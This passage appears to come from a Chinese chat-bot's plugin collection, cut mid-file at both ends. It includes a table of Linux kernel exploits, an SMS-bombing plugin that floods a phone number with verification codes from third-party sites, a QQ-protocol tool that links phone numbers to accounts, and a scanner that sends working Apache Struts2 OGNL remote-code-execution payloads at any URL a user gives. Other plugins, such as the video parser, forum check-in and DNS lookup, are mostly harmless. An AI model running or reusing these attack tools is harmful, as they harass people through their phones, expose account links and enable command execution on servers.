350 | 'cve': '2013-2094', 351 | 'mil': 'http://www.exploit-db.com/download/26131', 352 | }, 353 | 'msr': { 354 | 'vuln': [ 355 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23', 356 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.27', '2.6.28', 357 | '2.6.29', '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', 358 | '2.6.35', '2.6.36', '2.6.37', '2.6.38', '2.6.39', '3.0.0', 359 | '3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5', '3.0.6', 360 | '3.1.0', '3.2', '3.3', '3.4', '3.5', '3.6', 361 | '3.7.0', '3.7.6', 362 | ], 363 | 'cve': '2013-0268', 364 | 'mil': 'http://www.exploit-db.com/exploits/27297/', 365 | }, 366 | 'timeoutpwn': { 367 | 'vuln': [ 368 | '3.4', '3.5', '3.6', '3.7', '3.8', '3.8.9', '3.9', '3.10', 369 | '3.11', '3.12', '3.13', '3.4.0', '3.5.0', '3.6.0', '3.7.0', 370 | '3.8.0', '3.8.5', '3.8.6', '3.8.9', '3.9.0', '3.9.6', 371 | '3.10.0', '3.10.6', '3.11.0', '3.12.0', '3.13.0', '3.13.1' 372 | ], 373 | 'cve': '2014-0038', 374 | 'mil': 'http://www.exploit-db.com/exploits/31346/', 375 | }, 376 | 'rawmodePTY': { 377 | 'vuln': [ 378 | '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', '2.6.36', '2.6.37', 379 | '2.6.38', '2.6.39', '3.14', '3.15' 380 | ], 381 | 'cve': '2014-0196', 382 | 'mil': 'http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c', 383 | }, 384 | } 385 | # coding:utf-8 386 | import socket 387 | def work(msg,info): 388 | msg=msg.content.strip() 389 | if msg.startswith("linux"): 390 | if not info.get('level', 3) < 4: 391 | return False 392 | try: 393 | msg=msg.split(' ')[1] 394 | result='' 395 | for name in database: 396 | text=database[name] 397 | for version in text['vuln']: 398 | if msg == version: 399 | temp=[] 400 | Alt=text.get('alt',None) 401 | CVE=text.get('cve',None) 402 | Source=text.get('mil',None) 403 | if result: 404 | result+='\n' 405 | temp.append(name) 406 | if Alt: 407 | temp.append('Alt:' + Alt) 408 | if CVE: 409 | temp.append('CVE:' + CVE) 410 | if Source: 411 | temp.append('Source:' + Source) 412 | result += '\n'.join(temp) 413 | if result: 414 | return '可能的结果:\n'+result 415 | else: 416 | return '没有查找到对应版本' 417 | except: 418 | return help(info) 419 | else: 420 | return False 421 | def help(info): 422 | if not info.get('level',3) < 4: 423 | return False 424 | return "#linux version 根据内核版本查找exp" 425 | -------------------------------------------------------------------------------- /plugin/parsetv.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | def work(msg,info): 3 | msg=msg.content.strip() 4 | if msg.startswith("parsetv"): 5 | if not info.get('level', 3) < 4: 6 | return False 7 | try: 8 | msg=msg.split(' ',1)[1] 9 | return 'http://api.nepian.com/ckparse/web.php?url='+msg 10 | except: 11 | return help(info) 12 | else: 13 | return False 14 | def help(info): 15 | if not info.get('level',3) < 4: 16 | return False 17 | return "#parsetv e.com 解析爱奇艺、优酷、土豆、乐视、芒果TV等" -------------------------------------------------------------------------------- /plugin/phone.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import urllib 3 | import urllib2 4 | import cookielib 5 | import time 6 | import threading 7 | 8 | 9 | def getTime(): 10 | return str(time.time()).replace('.', '') + '0' 11 | 12 | 13 | class CookieBrowser(object): 14 | # 构造方法,用来传递初值 15 | def __init__(self): 16 | self.cookie = cookielib.MozillaCookieJar() 17 | self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)) 18 | self.opener.addheaders = [ 19 | ('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6')] 20 | 21 | def resetCookies(self): 22 | self.cookie = cookielib.CookieJar() 23 | self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)) 24 | 25 | def readCookie(self, name): 26 | for c in self.cookie: 27 | if c.name == name: 28 | return c.value 29 | return '' 30 | 31 | def get(self, addr): 32 | return self.opener.open(addr, timeout=5).read() 33 | 34 | def post(self, url, param): 35 | postdata = '' 36 | if isinstance(param, basestring): 37 | postdata = param 38 | else: 39 | postdata = urllib.urlencode(param) 40 | return self.opener.open(url, postdata, timeout=5) 41 | 42 | 43 | def getAddress(phone): 44 | address = [('post', 'http://wap.epet.com/api.html?cp=bdphone&do=sendCode&m=user&inajax=1', 45 | 'cp=bdphone&do=sendCode&m=user&inajax=1&system=wap&version=1.0&postsubmit=r9b8s7m4&phone=' + phone), 46 | ('post', 'http://www.ds99.com/index.php/Login/regyzm', {'phone': phone}), 47 | ('post', 'http://wifi.gd118114.cn/getPassword.ajax', 48 | {'username': phone, 'accessType': '1', 'circleId': '100000055'}), 49 | ('post', 'http://app.loverscamera.com/user/tel/login/getCode.shtml', {'userPhone': phone}), 50 | ('post', 'http://m.58yiji.com/ajax/sendLoginCode.html', {'phone': phone}), 51 | ('post', 'http://m.meilijia.com/dispose.php?action=signup_mobile', 52 | 'signup_mobile=' + phone + '&refer=&request_uri=%2Fsignin%2Fmobile%3Frefer%3D&http_referer=http%3A%2F%2Fm.meilijia.com%2Fsignin%3Faccount%3D15896541256%26refer%3D&from=2&code=2cbd5ed777fc3bddc5c2c499bc6dca25'), 53 | ('post', 'http://wx.bealinks.net/app/index.php?i=9&c=entry&p=login&do=auth&m=ewei_shop', 54 | {'phone': phone}), 55 | ('post', 'http://h5.vdangkou.com/h5/order.do?method=doSendCode', {'mobilePhone': phone}), 56 | ('post', 'http://m.68mall.com/register/sms-captcha', 57 | 'mobile=' + phone + '&_csrf=UjFCZXhGTDIWBQdULzwrbWUcKyMBLwZCBWkKKSdxJ3EDQ3ozIX57Xg"%"3D"%"3D'), 58 | ('post', 'http://360.taikang.com/fcb/login/mobileIdentify', 59 | 'action=get&cidnum=210106200004145813&mobnum=' + phone + '&work=reg')] 60 | return address 61 | 62 | 63 | def doPost(url, postdata): 64 | brow = CookieBrowser() 65 | brow.opener.addheaders.append(('Referer', url)) 66 | try: 67 | return brow.post(url, postdata) 68 | except Exception, e: 69 | # print e,url 70 | pass 71 | 72 | 73 | def doGet(url, param): 74 | brow = CookieBrowser() 75 | brow.opener.addheaders.append(('Referer', url)) 76 | try: 77 | return brow.get(url) 78 | except Exception, e: 79 | # print e,url 80 | pass 81 | 82 | 83 | def kphone(number, lens): 84 | for method, addr, param in getAddress(number)[:lens]: 85 | if method == 'post': 86 | threading.Thread(target=doPost, args=(addr, param)).start() 87 | else: 88 | threading.Thread(target=doGet, args=(addr, param)).start() 89 | 90 | def work(msg, info): 91 | if not msg.content.startswith('kphone'): 92 | return False 93 | if info.get('level', 3) < 3: 94 | try: 95 | _, phones = msg.content.strip().split(' ', 1) 96 | count = 1 97 | if phones.count(' ') > 0: 98 | count = phones.split(' ')[1] 99 | phones = phones.split(' ')[0] 100 | count = int(count) 101 | phones = int(phones) 102 | phones = str(phones) 103 | if len(phones) == 11: 104 | try: 105 | msg.Reply('正在开始轰炸') 106 | for x in xrange(count): 107 | kphone(phones) 108 | kphone(phones) 109 | time.sleep(60) 110 | return '轰炸%s结束' % phones 111 | except Exception, e: 112 | return '轰炸出错咯。。' 113 | else: 114 | return '您的参数有误' 115 | except Exception, e: 116 | print e 117 | return help(info) 118 | else: 119 | return False 120 | 121 | 122 | def help(info): 123 | if info.get('level', 3) < 3: 124 | return '#kphone 手机号 [分钟/次] 短信轰炸机' 125 | -------------------------------------------------------------------------------- /plugin/phone2qq.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' https://github.com/zrools/phone2qq ''' 5 | 6 | import socket 7 | import hashlib 8 | from random import randint 9 | from binascii import a2b_hex, b2a_hex, unhexlify 10 | 11 | 12 | def bytearrays(param): 13 | # s = unhexlify(param) 14 | # b = [ord(x) for x in s] 15 | # return b 16 | return str(bytearray.fromhex(param)) 17 | 18 | 19 | import struct, ctypes 20 | from random import randint 21 | 22 | __all__ = ['encrypt', 'decrypt'] 23 | 24 | 25 | def xor(a, b): 26 | a1, a2 = struct.unpack('!LL', a[0:8]) 27 | b1, b2 = struct.unpack('!LL', b[0:8]) 28 | r = struct.pack('!LL', a1 ^ b1, a2 ^ b2) 29 | return r 30 | 31 | 32 | def encipher(v, k): 33 | n = 16 34 | delta = 0x9e3779b9 35 | k = struct.unpack('!LLLL', k[0:16]) 36 | y, z = map(ctypes.c_uint32, struct.unpack('!LL', v[0:8])) 37 | s = ctypes.c_uint32(0) 38 | for i in range(n): 39 | s.value += delta 40 | y.value += (z.value << 4) + k[0] ^ z.value + s.value ^ (z.value >> 5) + k[1] 41 | z.value += (y.value << 4) + k[2] ^ y.value + s.value ^ (y.value >> 5) + k[3] 42 | r = struct.pack('!LL', y.value, z.value) 43 | return r 44 | 45 | 46 | def encrypt(v, k): 47 | vl = len(v) 48 | filln = (6 - vl) % 8 49 | v_arr = [ 50 | bytes(bytearray([filln | 0xf8])), 51 | b'\xad' * (filln + 2), 52 | v, 53 | b'\0' * 7, 54 | ] 55 | v = b''.join(v_arr) 56 | tr = b'\0' * 8 57 | to = b'\0' * 8 58 | r = [] 59 | o = b'\0' * 8 60 | for i in range(0, len(v), 8): 61 | o = xor(v[i:i + 8], tr) 62 | tr = xor(encipher(o, k), to) 63 | to = o 64 | r.append(tr) 65 | r = b''.join(r) 66 | return r 67 | 68 | 69 | def decrypt(v, k): 70 | l = len(v) 71 | prePlain = decipher(v, k) 72 | # print prePlain 73 | pos = ord(bytes(prePlain[0])) & 0x07 + 2 74 | r = prePlain 75 | preCrypt = v[0:8] 76 | for i in range(8, l, 8): 77 | x = xor(decipher(xor(v[i:i + 8], prePlain), k), preCrypt) 78 | prePlain = xor(x, preCrypt) 79 | preCrypt = v[i:i + 8] 80 | r += x 81 | if r[-7:] == b'\0' * 7: 82 | return r[pos + 1:-7] 83 | 84 | 85 | def decipher(v, k): 86 | n = 16 87 | y, z = map(ctypes.c_uint32, struct.unpack('!LL', v[0:8])) 88 | a, b, c, d = map(ctypes.c_uint32, struct.unpack('!LLLL', k[0:16])) 89 | delta = 0x9E3779B9 90 | s = ctypes.c_uint32(delta << 4) 91 | for i in range(n): 92 | z.value -= ((y.value << 4) + c.value) ^ (y.value + s.value) ^ ((y.value >> 5) + d.value) 93 | y.value -= ((z.value << 4) + a.value) ^ (z.value + s.value) ^ ((z.value >> 5) + b.value) 94 | s.value -= delta 95 | return struct.pack('!LL', y.value, z.value) 96 | 97 | 98 | def md5(cstr): 99 | m = hashlib.md5() 100 | m.update(cstr.encode()) 101 | return m.hexdigest().lower() 102 | 103 | 104 | class QQLogin(): 105 | def __init__(self): 106 | self.num = '10000000000' # 手机号 107 | self.address = ('183.60.56.100', 8000) # 企鹅服务器 108 | self.fixedData = '0000044b0000000100001509' # 填充数据 109 | self.hdKey = '0251ca4aab66e80ae4d279921ace3c3dfee23788151f45368d' 110 | self.serverIP = '' 111 | self.serverTime = '' 112 | self.token0825 = '' 113 | 114 | def str2hex(self, mStr): 115 | text = '' 116 | for x in mStr: 117 | text += '3%s' % x 118 | return text 119 | 120 | def getSequence(self, length): 121 | text = '' 122 | for l in range(length): 123 | text += '%02x' % randint(0, 0xff) 124 | return text 125 | 126 | def login0825(self): 127 | key0825 = '7792394f1afd3bbfa9006bc807bcf23b' 128 | 129 | data = '0235550825' # head 130 | data += self.getSequence(2) 131 | data += '00000000' # QQ Hex 132 | data += '030000000101010000674200000000' 133 | data += key0825 134 | 135 | txt = '001800160001' 136 | txt += self.fixedData 137 | txt += '0000000000000000' 138 | txt += '0004000f0000000b' 139 | txt += self.str2hex(self.num) 140 | txt += '0309' 141 | txt += '0008' 142 | txt += '0001000000000004' 143 | txt += '00360012' 144 | txt += '000200010000000000000000000000000000' 145 | txt += '0114001d01020019' 146 | txt += self.hdKey 147 | 148 | data += b2a_hex(encrypt(bytearrays(txt), bytearrays(key0825))).decode() 149 | data += '03' 150 | data = a2b_hex(data) 151 | 152 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 153 | sock.sendto(data, self.address) 154 | recvPack = sock.recv(1024) 155 | sock.close() 156 | 157 | recvData = b2a_hex(decrypt(recvPack[14:-1], bytearrays(key0825))).decode() 158 | 159 | if (recvData[:2] != '00'): 160 | recvData = recvData[16:] 161 | 162 | if (recvData[:2] == '00'): 163 | self.token0825 = recvData[10:122] 164 | self.serverTime = recvData[134:142] 165 | self.serverIP = recvData[166:174] 166 | return self.login0826() 167 | else: 168 | print('0825 error!') 169 | return False 170 | 171 | def login0826(self): 172 | key0826 = '6d47535a5a573d4872772c2d36717a76' 173 | keyCode = '13d924ca5e0469d284effea87a5a5f1c' 174 | 175 | data = '02355508366848' # head 176 | data += '00000000' 177 | data += '0300000001010100006742' 178 | data += '00000000' 179 | data += '000101020019' 180 | data += self.hdKey 181 | data += '00000010' 182 | data += self.getSequence(16) 183 | 184 | txt = '01120038' 185 | txt += self.token0825 186 | txt += '030f0008000657494e444f57' # WINDOWS 187 | txt += '0004000f0000000b' 188 | txt += self.str2hex(self.num) 189 | txt += '00060078' 190 | 191 | md5p = md5('123456') 192 | # 密码加密 193 | pwd = md5p 194 | pwd += '00000000' 195 | pwd += '00000000' # QQ Hex 196 | 197 | # 密匙加密 198 | key = 'F36251810002' 199 | key += '00000000' # QQ Hex 200 | key += self.fixedData 201 | key += '000001' 202 | key += md5p 203 | key += self.serverTime 204 | key += '00000000000000000000000000' 205 | key += self.serverIP 206 | key += '000000000000000600101ba49e165fe954251eb9619f7b1bdf31' 207 | key += key0826 208 | 209 | txt += b2a_hex(encrypt(bytearrays(key), bytearrays(pwd))).decode() 210 | 211 | # region CRC 212 | txt += '001500300000' 213 | txt += '01' 214 | txt += '1c26e960' 215 | txt += '0010' 216 | txt += '028d5f75cbcf4c898ca43a3410b85788' 217 | txt += '02' 218 | txt += 'b3e8163c' 219 | txt += '0010' 220 | txt += '1ba49e165fe954251eb9619f7b1bdf31' 221 | txt += '001a' 222 | txt += '0040' 223 | 224 | mcrc = '001500300000' 225 | mcrc += '01' 226 | mcrc += '1c26e960' 227 | mcrc += '0010' 228 | mcrc += '028d5f75cbcf4c898ca43a3410b85788' 229 | mcrc += '02' 230 | mcrc += 'b3e8163c' 231 | mcrc += '0010' 232 | mcrc += '1ba49e165fe954251eb9619f7b1bdf31' 233 | 234 | txt += b2a_hex(encrypt(bytearrays(mcrc), bytearrays(key0826))).decode() 235 | 236 | txt += '001800160001' 237 | txt += self.fixedData 238 | txt += '00000000' # QQ Hex 239 | txt += '00010000010300140001' 240 | txt += '0010' 241 | txt += 'bd41fd502a59f4863ccde044bb41f728' 242 | txt += '0312000501000000' 243 | txt += '00' # 是否记住密码 244 | txt += '010200620001' 245 | txt += '1169a81f699f52de71ef65e9b42d2d8a' 246 | txt += '0038' 247 | txt += '78b94e76767efdab4dd3b2b0144063f48b57ee27aef152a28aba1f03' 248 | txt += '50f02b17a86787fe47d1b189c43c0be7a7dc8c81c40bb622c78ec85b' 249 | txt += '0014' 250 | txt += '62e172e61421fe8c850c62891efcf7f93a19b892' 251 | 252 | data += b2a_hex(encrypt(bytearrays(txt), bytearrays(keyCode))).decode() 253 | data += '03' 254 | data = a2b_hex(data) 255 | 256 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 257 | sock.sendto(data, self.address) 258 | recvPack = sock.recv(1024) 259 | sock.close() 260 | 261 | recvData = b2a_hex(decrypt(recvPack[14:-1], bytearrays(keyCode))).decode() 262 | 263 | if recvData[:2] == '06': 264 | qq = str(int(recvData[6:14], 16)) 265 | else: 266 | recvData = recvData[8:] 267 | if recvData[:2].lower() == 'fc': 268 | qq = str(int(recvData[14:22], 16)) 269 | else: 270 | qq = False 271 | 272 | return qq 273 | 274 | def getQQ(self, phone): 275 | self.num = phone 276 | return self.login0825() 277 | 278 | 279 | def work(msg,info): 280 | msg = msg.content.strip() 281 | if msg.upper().startswith("QQ"): 282 | if not info.get('level', 3) < 4: 283 | return False 284 | try: 285 | msg = msg.split(' ')[-1] 286 | if len(msg) != 11 or not msg.isdigit(): 287 | return '手机号有误' 288 | print msg 289 | login = QQLogin() 290 | qq = login.getQQ(msg) 291 | if qq: 292 | return '手机号:' + msg + '\n解析的QQ为:' + qq 293 | else: 294 | return '手机号:' + msg + '\n解析QQ失败' 295 | except: 296 | return help(info) 297 | else: 298 | return False 299 | 300 | 301 | def help(info): 302 | if not info.get('level',3) < 4: 303 | return False 304 | return "#QQ 手机号 获取可以通过手机号登陆的QQ" 305 | -------------------------------------------------------------------------------- /plugin/phpwind.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import re 3 | import time 4 | import urllib 5 | import urllib2 6 | import cookielib 7 | class phpwind(): 8 | def __init__(self,url,username,password,jumpurl=""): 9 | self.host=url 10 | self.username=username 11 | self.password=password 12 | self.hash=re.findall("var verifyhash = '.*?';",urllib.urlopen(self.host).read())[0][18:-2] 13 | self.loginurl=self.host+"/login.php?nowtime="+self.getTime()+"&verify=%s"%self.hash 14 | self.siginurl=self.host+'/u.php' 15 | self.siginsss=(self.host+"/jobcenter.php?action=punch&verify=%s&nowtime="+self.getTime()+"&verify=%s")%(self.hash,self.hash) 16 | self.jumpurl =jumpurl 17 | if self.jumpurl=='': 18 | self.jumpurl=self.host+"/index.php" 19 | self.cookie=cookielib.CookieJar() 20 | self.opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)) 21 | def login(self): 22 | postdata = urllib.urlencode({ 23 | 'ajax': '1', 24 | 'cktime': '31536000', 25 | 'jumpurl': self.jumpurl, 26 | 'lgt': '0', 27 | 'pwpwd': self.password, 28 | 'pwuser': self.username, 29 | 'step': '2' 30 | }) 31 | self.opener.open(self.loginurl, postdata) 32 | result=self.opener.open(self.jumpurl) 33 | if len(re.findall("var windid = '"+self.username+"';",result.read())): 34 | # print "login secuss" 35 | return True 36 | # print "login faild" 37 | return False 38 | def getTime(self): 39 | return str(time.time()).replace('.', '') + '0' 40 | def read(self): 41 | return self.opener.open(self.host).read().decode('gbk').encode('utf-8') 42 | def issigin(self): 43 | if "每日打卡" in self.opener.open(self.siginurl).read().decode('gbk').encode('utf-8'): 44 | return False 45 | return True 46 | def sigin(self): 47 | postdata = urllib.urlencode({ 48 | 'step': '2' 49 | }) 50 | if "你已经打卡,请明天再试" in self.opener.open(self.siginsss, postdata).read().decode("gbk").encode("utf-8"): 51 | return True 52 | return False 53 | def getinfo(self): 54 | ret='' 55 | ret+='=====================================' 56 | ret+='\n站点名称: %s'%re.findall(".*?",self.opener.open(self.host).read().decode("gbk").encode("utf-8"))[0][7:-8] 57 | ret+='\n用户: %s %s'%(self.username,"已经签到" if self.issigin() else "并没有签到" ) 58 | for x in re.findall("
  • .{1,8}:.{1,16}
  • ",self.opener.open(self.host).read().decode("gbk").encode("utf-8")): 59 | ret+='\n'+x[4:-5] 60 | ret+='\n=====================================' 61 | return ret 62 | 63 | 64 | # '''http://bbs.mydigit.cn/jobcenter.php?action=punch&verify=1849a44a&nowtime=1475251499535&verify=1849a44a''' 65 | 66 | def work(msg,info): 67 | if not msg.content.startswith("phpwind"): 68 | return False 69 | if not info.get('level',3) < 4: 70 | return False 71 | msg=msg.content.split(' ') 72 | a = phpwind("http://"+msg[1], msg[2], msg[3]) 73 | if a.login(): 74 | return a.getinfo() 75 | else: 76 | return help(info) 77 | 78 | def help(info): 79 | if not info.get('level',3) < 4: 80 | return False 81 | return "#phpwind example.com 账号 密码 phpwind登陆打卡" -------------------------------------------------------------------------------- /plugin/ping.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import socket 3 | def work(msg,info): 4 | msg=msg.content.strip() 5 | if msg.startswith("pings"): 6 | if not info.get('level', 3) < 4: 7 | return False 8 | try: 9 | msg=msg.split(' ')[-1] 10 | addr=socket.gethostbyname(msg) 11 | return '地址:'+msg+'\n解析的IP为:'+addr 12 | except: 13 | return help(info) 14 | else: 15 | return False 16 | def help(info): 17 | if not info.get('level',3) < 4: 18 | return False 19 | return "#pings e.com 说出来你可能不信,ping是禁词" -------------------------------------------------------------------------------- /plugin/struts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import sys 5 | import base64 6 | import warnings 7 | import requests 8 | import threading 9 | 10 | warnings.filterwarnings("ignore") 11 | reload(sys) 12 | sys.setdefaultencoding('utf-8') 13 | 14 | headers = { 15 | "Accept": "application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*", 16 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", 17 | "Content-Type": "application/x-www-form-urlencoded" 18 | } 19 | headers2 = { 20 | 21 | } 22 | 23 | 24 | 25 | class struts_baseverify: 26 | def __init__(self, url,msg): 27 | self.url = url 28 | self.msg = msg 29 | self.poc = { 30 | "ST2-005": base64.b64decode( 31 | "KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvblwnXVw3NWZhbHNlJykoYikpJignXDQzYycpKCgnXDQzX21lbWJlckFjY2Vzcy5leGNsdWRlUHJvcGVydGllc1w3NUBqYXZhLnV0aWwuQ29sbGVjdGlvbnNARU1QVFlfU0VUJykoYykpJihnKSgoJ1w0M215Y21kXDc1XCduZXRzdGF0IC1hblwnJykoZCkpJihoKSgoJ1w0M215cmV0XDc1QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKFw0M215Y21kKScpKGQpKSYoaSkoKCdcNDNteWRhdFw3NW5ld1w0MGphdmEuaW8uRGF0YUlucHV0U3RyZWFtKFw0M215cmV0LmdldElucHV0U3RyZWFtKCkpJykoZCkpJihqKSgoJ1w0M215cmVzXDc1bmV3XDQwYnl0ZVs1MTAyMF0nKShkKSkmKGspKCgnXDQzbXlkYXQucmVhZEZ1bGx5KFw0M215cmVzKScpKGQpKSYobCkoKCdcNDNteXN0clw3NW5ld1w0MGphdmEubGFuZy5TdHJpbmcoXDQzbXlyZXMpJykoZCkpJihtKSgoJ1w0M215b3V0XDc1QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpJykoZCkpJihuKSgoJ1w0M215b3V0LmdldFdyaXRlcigpLnByaW50bG4oXDQzbXlzdHIpJykoZCkp"), 32 | "ST2-009": '''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27netstat -an%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]''', 33 | "ST2-013": base64.b64decode( 34 | "YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCduZXRzdGF0IC1hbicpLmdldElucHV0U3RyZWFtKCksJTIzYj1uZXcramF2YS5pby5JbnB1dFN0cmVhbVJlYWRlciglMjNhKSwlMjNjPW5ldytqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCUyM2IpLCUyM2Q9bmV3K2NoYXJbNTAwMDBdLCUyM2MucmVhZCglMjNkKSwlMjNzYnRlc3Q9QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpLmdldFdyaXRlcigpLCUyM3NidGVzdC5wcmludGxuKCUyM2QpLCUyM3NidGVzdC5jbG9zZSgpKX0="), 35 | "ST2-016": '''redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}''', 36 | "ST2-019": base64.b64decode( 37 | "ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3NpYmxlKHRydWUpLCNmLnNldCgjX21lbWJlckFjY2Vzcyx0cnVlKSwjcmVxPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVxdWVzdCgpLCNyZXNwPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVzcG9uc2UoKS5nZXRXcml0ZXIoKSwjYT0obmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcihuZXcgamF2YS5sYW5nLlN0cmluZ1tdeyduZXRzdGF0JywnLWFuJ30pKS5zdGFydCgpLCNiPSNhLmdldElucHV0U3RyZWFtKCksI2M9bmV3IGphdmEuaW8uSW5wdXRTdHJlYW1SZWFkZXIoI2IpLCNkPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCNjKSwjZT1uZXcgY2hhclsxMDAwMF0sI2QucmVhZCgjZSksI3Jlc3AucHJpbnRsbigjZSksI3Jlc3AuY2xvc2UoKQ=="), 38 | "ST2-devmode": '''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=netstat%20-an''', 39 | "ST2-032": '''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=netstat -an&pp=____A&ppp=%20&encoding=UTF-8''', 40 | "ST2-037": '''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=netstat -an''' 41 | } 42 | 43 | def check(self, pocname, vulnstr): 44 | if vulnstr.find("Active Internet connections") is not -1: 45 | self.msg.Reply("目标存在" + pocname + "漏洞..[Linux]") 46 | elif vulnstr.find("Active Connections") is not -1: 47 | self.msg.Reply("目标存在" + pocname + "漏洞..[Windows]") 48 | elif vulnstr.find("活动连接") is not -1: 49 | self.msg.Reply("目标存在" + pocname + "漏洞..[Windows]") 50 | elif vulnstr.find("LISTEN") is not -1: 51 | self.msg.Reply("目标存在" + pocname + "漏洞..[未知OS]") 52 | else: 53 | self.msg.Reply("目标不存在" + pocname + "漏洞..") 54 | 55 | def scan(self): 56 | self.msg.Reply("-------检测struts2漏洞--------\n目标url:" + self.url) 57 | try: 58 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=6, verify=False) 59 | self.check("struts2-005", req.text) 60 | except: 61 | self.msg.Reply("检测struts2-005超时..") 62 | try: 63 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=6, verify=False) 64 | self.check("struts2-009", req.text) 65 | except: 66 | self.msg.Reply("检测struts2-009超时..") 67 | try: 68 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=6, verify=False) 69 | self.check("struts2-013", req.text) 70 | except: 71 | self.msg.Reply("检测struts2-013超时..") 72 | try: 73 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=6, verify=False) 74 | self.check("struts2-016", req.text) 75 | except: 76 | self.msg.Reply("检测struts2-016超时..") 77 | try: 78 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=6, verify=False) 79 | self.check("struts2-019", req.text) 80 | 